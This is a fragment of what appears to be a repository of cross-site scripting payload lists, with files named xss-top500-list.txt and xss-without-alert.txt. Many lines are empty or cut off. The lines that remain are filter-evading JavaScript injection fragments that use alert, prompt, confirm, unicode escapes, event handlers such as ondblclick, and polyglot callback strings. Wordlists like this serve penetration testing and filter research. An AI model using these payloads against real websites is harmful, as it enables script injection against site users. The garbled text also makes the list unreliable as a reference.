*/alert()/* 145 | 1 146 | 1 147 | 1 148 | "> 149 | 150 | 151 | 152 | 153 | 154 | -------------------------------------------------------------------------------- /xss-top500-list.txt: -------------------------------------------------------------------------------- 1 | 2 | perl -e 'print "";' > out 3 | 4 | 5 | 6 | 7 | < 8 | 14 | 15 | 16 | 17 | 18 | XSS 19 | 20 | 21 | 22 | 23 | z 24 | [confirm``]"<">z 25 | z 26 | 27 | "/ondblclick=`<`[confir\u006d``]>z 29 | click 30 | click 31 | 36 | (_=prompt,_(1)) ""> 37 | 40 | 41 | x 43 | 44 | ";a=prompt,a()// 45 | ">.gif 47 | "> 48 | "> 49 | "> 5 | '''"'-function(){{{callback}}}()-">\"><"-'-function(){{{callback}}}()"''' 6 | exp/*XXX 8 | 9 | 10 | -------------------------------------------------------------------------------- /xss-without-alert.txt: -------------------------------------------------------------------------------- 1 | 4 | (((confirm)))`` 6 | "/OndbLcLick=`<`[confir\u006d``]>z 7 | 8 | click 10 | 11 | 18 | z 19 | [confirm``]"<">z 20 | click here 21 | 22 | 23 | '''"'-function(){{{callback}}}()-">\"><"-'-function(){{{callback}}}()"''' 24 | ";a=prompt,a()// 25 | "> 26 | /*iframe/src*/ 27 | exp/*XXX 29 | 30 | XYZ